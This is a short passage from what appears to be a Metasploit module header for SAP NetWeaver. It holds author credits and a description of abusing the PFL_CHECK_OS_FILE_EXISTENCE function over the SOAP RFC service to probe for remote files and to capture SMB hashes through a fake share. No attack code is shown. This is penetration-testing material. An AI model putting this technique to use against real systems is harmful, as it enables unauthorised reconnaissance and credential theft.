##
# This module is based on, inspired by, or is a port of a plugin available in
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
# http://www.onapsis.com/research-free-solutions.php.
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
# in producing the Metasploit modules and was happy to share his knowledge and
# experience - a very cool guy.
#
# The following guys from ERP-SCAN deserve credit for their contributions -
# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
# Dmitry Evdokimov.
#
# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
# who have Beta tested the modules and provided excellent feedback. Some people
# just seem to enjoy hacking SAP :)

'Name' => 'SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check',
'Description' => %q{
This module abuses the SAP NetWeaver PFL_CHECK_OS_FILE_EXISTENCE function, on
the SAP SOAP RFC Service, to check for files existence on the remote file system.
The module can also be used to capture SMB hashes by using a fake SMB share as
FILEPATH.
